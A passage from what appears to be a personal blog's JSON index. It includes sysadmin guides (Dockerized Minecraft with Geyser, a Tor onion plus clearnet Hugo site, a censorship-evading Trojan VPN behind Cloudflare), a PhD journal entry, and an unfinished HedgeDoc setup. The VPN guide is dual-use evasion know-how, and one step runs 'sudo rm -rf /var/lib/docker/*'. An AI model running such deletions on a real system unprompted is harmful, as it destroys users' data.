most probably see my parents from now on, unless they want to travel to somewhere else or visit me here.\nNow that my brother also has his greencard, we can travel together and see eachother more often too!\u003c/p\u003e","title":"September '25"},{"content":"Why I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:\nfailed to register layer: ... no space left on device Client saying: “Outdated client, please use 1.21.9 Pre-Release 2” Wanting config in a neat .env and no whitelist Here’s exactly what I did.\nFolder layout ~/minecraft/ ├─ docker-compose.yml ├─ .env └─ plugins/ .env (secrets \u0026amp; knobs) Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.\n# Minecraft server configuration EULA=TRUE TYPE=PAPER VERSION=LATEST MEMORY=4G USE_AIKAR_FLAGS=true # RCON (remote console) ENABLE_RCON=true RCON_PASSWORD=superSecretPassword123 I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.\ndocker-compose.yml services: mc: image: itzg/minecraft-server:latest container_name: mc restart: unless-stopped ports: - \u0026#34;25565:25565\u0026#34; # Java - \u0026#34;19132:19132/udp\u0026#34; # Bedrock via Geyser plugin env_file: - .env volumes: - mc-data:/data - ./plugins:/plugins:ro volumes: mc-data: {} The version: key in Compose is obsolete now, so I dropped it.\nAdd Geyser (and optional Floodgate) as plugins mkdir -p ~/minecraft/plugins cd ~/minecraft/plugins # Geyser (Spigot/Paper) wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar # Floodgate (optional: Bedrock accounts without Java linking) wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar Start it up:\ndocker compose up -d On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.\nHit a wall: /var ran out of space Docker stores layers at /var/lib/docker by default. My /var LV was tiny:\n/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var Quick cleanup docker system df docker system prune -f docker builder prune -af sudo apt-get clean sudo journalctl --vacuum-size=100M If that’s not enough, you have two good options:\nOption A — Move Docker’s data off /var sudo systemctl stop docker sudo mkdir -p /home/docker sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/ echo \u0026#39;{ \u0026#34;data-root\u0026#34;: \u0026#34;/home/docker\u0026#34; }\u0026#39; | sudo tee /etc/docker/daemon.json sudo systemctl start docker docker info | grep \u0026#34;Docker Root Dir\u0026#34; If all looks good, free the old space:\nsudo rm -rf /var/lib/docker/* Option B — Grow /var (LVM) Check free space in the VG:\nsudo vgdisplay # look for \u0026#34;Free PE / Size\u0026#34; If available, extend /var by +5G:\nsudo lvextend -L +5G /dev/mapper/ubuntu--vg-var sudo resize2fs /dev/mapper/ubuntu--vg-var The version mismatch: pre-release vs stable My logs showed:\nStarting minecraft server version 1.21.9 Pre-Release 2 That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:\nEnsure .env has: VERSION=LATEST_RELEASE Recreate: docker compose down docker compose pull docker compose up -d Verify: docker logs mc | grep \u0026#34;Starting minecraft server version\u0026#34; # -\u0026gt; Starting minecraft server version 1.21.1 (example) Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).\nNo whitelist Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:\ndocker exec -it mc rcon-cli \u0026#34;op YourJavaIGN\u0026#34; (or edit /data/ops.json).\nBackup \u0026amp; updates World/data live under the mc-data volume → back up /data regularly. Update cleanly: docker compose pull \u0026amp;\u0026amp; docker compose up -d Watch space: watch -n5 \u0026#39;df -h /var; docker system df\u0026#39; TL;DR Put Geyser/Floodgate jars in ./plugins and expose 19132/udp. Keep configs in .env. Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM. Verify version in logs after each change. Happy block-breaking! 🧱🚀\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM jSrrmBAAuVoSvB3tRIzD\u0026#43;N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV 0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw 7p/hYijX0vGJ8\u0026#43;WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA JWQAyEUu3Vx/U0BnN6R9Lne\u0026#43;5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7 OzvAT5XXRS5Q6Udc7Nsa9T/OYG\u0026#43;elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz\u0026#43;UbLDz g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r NrClzg0Vujk/3zP/6yhCL7I0SwQ\u0026#43;NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl\u0026#43;LNOWXf/gomXH6Tqm9vnWr/aX sczdH6N2E0\u0026#43;7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M= =NmxL -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc gpg --verify minecraft_server.md.asc minecraft_server.md ","permalink":"https://blog.alipour.eu/posts/minecraft_server/","summary":"How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.","title":"Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases"},{"content":" TL;DR — The site is built once (Hugo project), published twice:\nOnion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.\nInstall \u0026amp; configure Tor (Debian/Ubuntu):\nsudo apt update \u0026amp;\u0026amp; sudo apt install -y tor sudoedit /etc/tor/torrc Add:\nHiddenServiceDir /var/lib/tor/hidden_site/ HiddenServicePort 80 127.0.0.1:3301 Make sure the directory is owned by Tor’s user and private:\nsudo mkdir -p /var/lib/tor/hidden_site sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site sudo chmod 700 /var/lib/tor/hidden_site Important: use the right systemd unit:\n# validate as the Tor user sudo -u debian-tor tor -f /etc/tor/torrc --verify-config # (re)start the real service sudo systemctl enable --now tor@default sudo systemctl restart tor@default Get the onion address:\nsudo cat /var/lib/tor/hidden_site/hostname Quick check (do remote DNS via SOCKS):\ncurl -I --socks5-hostname 127.0.0.1:9050 \u0026#34;http://$(sudo cat /var/lib/tor/hidden_site/hostname)\u0026#34; 2) Nginx for the onion (localhost-only) I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.\n/etc/nginx/sites-available/onion-blog:\nserver { listen 127.0.0.1:3301 default_server; server_name \u0026lt;your-56-char\u0026gt;.onion 127.0.0.1 localhost; # keep onion simple; no HSTS/redirects here add_header Referrer-Policy no-referrer always; add_header X-Content-Type-Options nosniff always; add_header X-Frame-Options SAMEORIGIN always; # (optional) strict CSP so nothing leaks to clearnet # add_header Content-Security-Policy \u0026#34;default-src \u0026#39;self\u0026#39;; img-src \u0026#39;self\u0026#39; data:; style-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39;; script-src \u0026#39;self\u0026#39;\u0026#34; always; root /srv/hugo/mysite/public-onion; index index.html; location / { try_files $uri $uri/ /index.html; } location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { access_log off; add_header Cache-Control \u0026#34;public, max-age=31536000, immutable\u0026#34;; try_files $uri =404; } } Enable/reload:\nsudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \\.onion$ (note the space after ~*).\n3) Hugo + PaperMod setup (and version bumps) PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).\n# install Hugo extended (example) VER=0.146.0 cd /tmp wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz sudo mv hugo /usr/local/bin/hugo hugo version # should say \u0026#34;extended\u0026#34; and \u0026gt;= 0.146.0 Create the site and theme:\nsudo mkdir -p /srv/hugo \u0026amp;\u0026amp; sudo chown -R \u0026#34;$USER\u0026#34;:\u0026#34;$USER\u0026#34; /srv/hugo cd /srv/hugo hugo new site mysite cd mysite git init git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod Config updates: in newer Hugo, paginate is deprecated → use:\n# config/_default/hugo.toml title = \u0026#34;My Blog\u0026#34; theme = \u0026#34;PaperMod\u0026#34; enableRobotsTXT = true [pagination] pagerSize = 10 [params] defaultTheme = \u0026#34;auto\u0026#34; showReadingTime = true showPostNavLinks = true showBreadCrumbs = true showCodeCopyButtons = true I added per-environment overrides so I can build two outputs with different baseURLs:\n# config/clearnet/hugo.toml baseURL = \u0026#34;https://blog.alipourimjourneys.ir/\u0026#34; # config/onion/hugo.toml baseURL = \u0026#34;http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/\u0026#34; 4) Dual builds (clearnet + onion) and one-command deploy I publish the same content twice—once for each base URL and docroot:\ncd /srv/hugo/mysite # clearnet build (served over HTTPS) hugo --minify --environment clearnet -d public-clearnet # onion build (served via Tor) hugo --minify --environment onion -d public-onion sudo systemctl reload nginx Helper script I use:\nsudo tee /usr/local/bin/build-both \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/usr/bin/env bash set -euo pipefail cd /srv/hugo/mysite hugo --minify --environment clearnet -d public-clearnet hugo --minify --environment onion -d public-onion sudo systemctl reload nginx echo \u0026#34;Deployed both at $(date)\u0026#34; EOF sudo chmod +x /usr/local/bin/build-both While editing, I sometimes auto-rebuild on file save:\nsudo apt install -y entr cd /srv/hugo/mysite find content layouts assets static config -type f | entr -r build-both 5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01) Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):\nsudo snap install --classic certbot sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:\n/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem Clearnet Nginx vhosts:\n# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway) server { listen 80; listen [::]:80; server_name blog.alipourimjourneys.ir; return 301 https://blog.alipourimjourneys.ir$request_uri; } # HTTPS origin (behind Cloudflare) server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name blog.alipourimjourneys.ir; ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem; # HSTS on clearnet only add_header Strict-Transport-Security \u0026#34;max-age=31536000; includeSubDomains; preload\u0026#34; always; # Help Tor Browser discover the onion mirror (safe on clearnet) add_header Onion-Location \u0026#34;http://\u0026lt;your-56-char\u0026gt;.onion$request_uri\u0026#34; always; root /srv/hugo/mysite/public-clearnet; index index.html; location / { try_files $uri $uri/ /index.html; } } Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.\n6) Troubleshooting I ran into (and fixes) Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor. Permissions: HiddenServiceDir must be owned by debian-tor and mode 700. Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://\u0026lt;onion\u0026gt;/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://\u0026lt;onion\u0026gt;:3301/. Curl \u0026amp; .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: curl -I --socks5-hostname 127.0.0.1:9050 \u0026#34;http://\u0026lt;onion\u0026gt;/\u0026#34; Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server). Regex in server_name: if you use it, write server_name ~* \\.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space. PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate → [pagination].pagerSize. Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin. 7) “Not secure” in Tor Browser? That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).\n8) Day-to-day workflow Create content: hugo new posts/my-first-post.md # then set draft: false Publish both: build-both (Optional) Auto on save: find content layouts assets static config -type f | entr -r build-both (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both. Final notes Clearnet gets HTTPS + HSTS and an Onion-Location header. Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content. Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow. Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba\u0026#43;znAc1rCWJuzwHe2Ih0aYsq7d DMWRkpE9YTfQl/kSYpzlk96KCKv\u0026#43;6lHQXqcPyq\u0026#43;nQTDl/D7iCaOhb8Dog3W/2qN4 6G05f47EoiOJY\u0026#43;G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD\u0026#43;x4y4 UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo FwGfnomCwVwd5GpaP7LQdtP/a\u0026#43;x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm slRx0\u0026#43;P27gH\u0026#43;CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC\u0026#43;rZnHXPCdbsZ TTiwtJ/jLLbX\u0026#43;NfycW9qR6gVxloO35QA90AY7050tOgAsyH\u0026#43;YUn\u0026#43;Rtj2KVj91E0o VzljG7RAly7yTe\u0026#43;yxzC6OO\u0026#43;iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/ OrTnJ8fJqq\u0026#43;XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ N6VbRTRfq2Vnp\u0026#43;A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8 700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM= =QlNw -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md ","permalink":"https://blog.alipour.eu/posts/tor_clearnet_blog/","summary":"\u003cblockquote\u003e\n\u003cp\u003eTL;DR — The site is built once (Hugo project), \u003cstrong\u003epublished twice\u003c/strong\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOnion\u003c/strong\u003e: \u003ccode\u003ehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/\u003c/code\u003e via Tor, no TLS/HSTS, bound to \u003ccode\u003e127.0.0.1:3301\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eClearnet\u003c/strong\u003e: \u003ccode\u003ehttps://blog.alipourimjourneys.ir\u003c/code\u003e behind Cloudflare, Let’s Encrypt cert, \u003ccode\u003eOnion-Location\u003c/code\u003e header pointing to the onion mirror.\u003c/li\u003e\n\u003c/ul\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-tor-hidden-service-onion-basics\"\u003e1) Tor hidden service (onion) basics\u003c/h2\u003e\n\u003cp\u003eI used Tor’s v3 onion services and mapped onion port 80 → my local web server on \u003ccode\u003e127.0.0.1:3301\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eInstall \u0026amp; configure Tor (Debian/Ubuntu):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt update \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e sudo apt install -y tor\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudoedit /etc/tor/torrc\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAdd:\u003c/p\u003e","title":"Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod"},{"content":"Introduction So you want a VPN that doesn\u0026rsquo;t scream \u0026ldquo;I am a VPN\u0026rdquo; to every censor and firewall out there?\nWelcome to the world of Trojan over WebSocket + TLS behind Cloudflare.\nThis guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).\nWe’ll anonymise domains and secrets, so substitute with your own:\nVPN domain: web.example.com Panel domain: panel.example.com Secret WS path: /stealth-path_abcd1234 Password: \u0026lt;PASSWORD\u0026gt; Architecture at a Glance Think of it as a disguise party:\nTrojan = the shy guest (your VPN protocol) Nginx = the bouncer checking IDs (reverse proxy) Cloudflare = the doorman who makes sure nobody sees who\u0026rsquo;s inside (CDN \u0026amp; proxy) Your fake website = the mask (camouflage page) Traffic flow:\nClient → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321) Step 1: Panel Setup (panel.example.com) Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309). Choose a funky web base path like /panel-bananas_42/. Proxy it through Nginx with HTTPS + Basic Auth. Test it at https://panel.example.com/panel-bananas_42/. Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!\nStep 2: Trojan Inbound In 3x-ui, create a Trojan inbound:\nLocal port: 54321 Transport: WebSocket Path: /stealth-path_abcd1234 Security: none Password: \u0026lt;PASSWORD\u0026gt; Step 3: Nginx for VPN Domain (web.example.com) Your Nginx is the gatekeeper. Sample config:\nserver { listen 443 ssl http2; server_name web.example.com; ssl_certificate /etc/letsencrypt/live/web.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem; # Fake website at root location / { root /var/www/html; index index.html; } # Real VPN under secret WS path location /stealth-path_abcd1234 { proxy_pass http://127.0.0.1:54321; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Host $host; } } Step 4: Firewall Rules Lock things down! Only Cloudflare should reach you:\nufw allow 22/tcp ufw allow 80/tcp ufw allow 443/tcp ufw deny 54321/tcp Step 5: Client Config Trojan URI:\ntrojan://\u0026lt;PASSWORD\u0026gt;@web.example.com:443?type=ws\u0026amp;security=tls\u0026amp;host=web.example.com\u0026amp;path=%2Fstealth-path_abcd1234\u0026amp;sni=web.example.com#MyStealthVPN iOS clients: Shadowrocket, Stash, FoXray\nAndroid clients: v2rayNG, Clash Meta, NekoBox\nDebugging Time (a.k.a. “Why the heck doesn’t it work?!”) Symptom: 520 Unknown Error (Cloudflare) Likely cause: Nginx couldn’t talk to Trojan. Check Nginx error log: tail -n 50 /var/log/nginx/error.log If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan. Symptom: 526 Invalid SSL certificate Cloudflare → Nginx cert mismatch. Run: openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts Make sure CN = web.example.com. If not, fix your cert. Symptom: Blank page on panel Check if the base path matches exactly (case-sensitive, slash-sensitive). Watch for sneaky trailing spaces! Test locally: curl -s -D- http://127.0.0.1:46309/panel-bananas_42/ Symptom: Client won’t connect Run a WebSocket test: curl -i -k -H \u0026#34;Connection: Upgrade\u0026#34; -H \u0026#34;Upgrade: websocket\u0026#34; https://web.example.com/stealth-path_abcd1234 Expect 101 Switching Protocols. If not, check Nginx config. Symptom: Censor still blocks you Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?\n→ They’ll find your origin IP. Use a second VPS or lock those ports down. Did you use an obvious path like /ws?\n→ Use a random-looking one like /cdn-assets-329df/. Pro Tips \u0026amp; Fun Tricks Serve a fake blog or portfolio at root so your domain looks legit. Rotate WebSocket paths occasionally. Use Cloudflare Page Rules to disable Rocket Loader \u0026amp; Minify for your VPN domain. Make friends with your Nginx error.log — it will roast you but it tells the truth. Conclusion By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:\nLooks like normal HTTPS. Hides your origin IP. Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass. Congrats — you’ve built a VPN with both style and stealth. 🥷\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD 9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l jFsQFzNxcgOXKKWevuRtL5MY8RuC\u0026#43;PbsfG2ry2jiOtJa9H2UixVJ5E8Imj\u0026#43;VS47O S3XAlxr85O9CEh/TFkS/TuY5P5\u0026#43;VPoOLn6WfdCH5W2IdkW\u0026#43;Vi3bZFJ46LBm6cNBh Iydo\u0026#43;r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl 5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA\u0026#43;38RGmRNFgtR0mhMdtKNt QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0\u0026#43;CD\u0026#43;M1kQILC E8pXSfGhaG2bFCzQ\u0026#43;BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr\u0026#43;ql32hsQMQHZtho1nx5HEGCoCWG 3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y= =IovZ -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/vpn.md curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc gpg --verify vpn.md.asc vpn.md ","permalink":"https://blog.alipour.eu/posts/vpn/","summary":"\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eSo you want a VPN that \u003cstrong\u003edoesn\u0026rsquo;t scream \u0026ldquo;I am a VPN\u0026rdquo;\u003c/strong\u003e to every censor and firewall out there?\u003cbr\u003e\nWelcome to the world of \u003cstrong\u003eTrojan over WebSocket + TLS behind Cloudflare\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eThis guide not only shows you how to set it up but also sprinkles in some \u003cstrong\u003edebugging magic\u003c/strong\u003e so you can figure out why things break (and they \u003cem\u003ewill\u003c/em\u003e break, trust me).\u003c/p\u003e\n\u003cp\u003eWe’ll anonymise domains and secrets, so substitute with your own:\u003c/p\u003e","title":"Stealth Trojan VPN Behind Cloudflare Guide"},{"content":"This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life!\nOverall not the most productive month, but one reason for it is that I have\u0026rsquo;t really had a real vacation in a long time. I will be taking a 10 day vacation next month just to reset, and gain back my power. I cross my fingers for the month ahead!\nMy social life has been becoming better too. I\u0026rsquo;ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! My depression is a serious issue. I also have anxiety disorder that I\u0026rsquo;m talking with my therapist about. I will most likely start taking SSRIs once again. Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. I\u0026rsquo;m really glad I was able to recover, though it was not easy at all, it did work out.\nI do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. Things will workout!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM jSqiRBAAv6TLJK\u0026#43;7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks lyF1tiik69ZuDqToAj9buwiIG\u0026#43;fll/nLElWP\u0026#43;DVSpDrHh86tEtQFlf9inf8DYXGK 3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH\u0026#43;IMTNJuWUtIBXbSEy1K SYcl4coVXJwDOPLj\u0026#43;huKrBQoScmUSPYow5KELzQOOLK\u0026#43;HG6M9vXSq3\u0026#43;hDUiWx4MT OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1 VFNy\u0026#43;IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi rEt3baTm874Jo4PSZjToL7\u0026#43;6VpbvlzFz57G/1WmmX1jSr\u0026#43;\u0026#43;L7Cncyz2Oo6H\u0026#43;Bpw9 Ax2JFZz760sxs978Y2fno5o5rkVKEt\u0026#43;GgLA\u0026#43;WkSb0NCq/r67wEhMR5/i4oBTOHmC OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb\u0026#43;VYlhFbju0IhhArZYqc4vuieC 5CQIbWuYoPIpvf0XCQHHABJF\u0026#43;zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3\u0026#43;AtIvQjDwKigco7f3wgY= =vvS6 -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md.asc gpg --verify Augest_2025.md.asc Augest_2025.md ","permalink":"https://blog.alipour.eu/phd_journey/augest_2025/","summary":"\u003cp\u003eThis month started with me setting up a deadline for Conext student workshop.\nI wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it.\nI also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT.\nThis darn thing wasted so much of my time!\nI did learn a bit along the way, but oh well.\nSuch is life!\u003c/p\u003e","title":"Augest '25"},{"content":"HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.\nPrerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc \u0026amp;\u0026amp; cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with:\nopenssl rand -base64 32 3. Create docker-compose.yml version: \u0026#34;3.9\u0026#34; services: db: image: postgres:16 environment: POSTGRES_USER: hedgedoc POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} POSTGRES_DB: hedgedoc volumes: - db:/var/lib/postgresql/data restart: unless-stopped hedgedoc: image: quay.io/hedgedoc/hedgedoc:1.10.2 depends_on: - db environment: CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc CMD_DOMAIN: ${HD_DOMAIN} CMD_PROTOCOL_USESSL: \u0026#34;true\u0026#34; CMD_URL_ADDPORT: 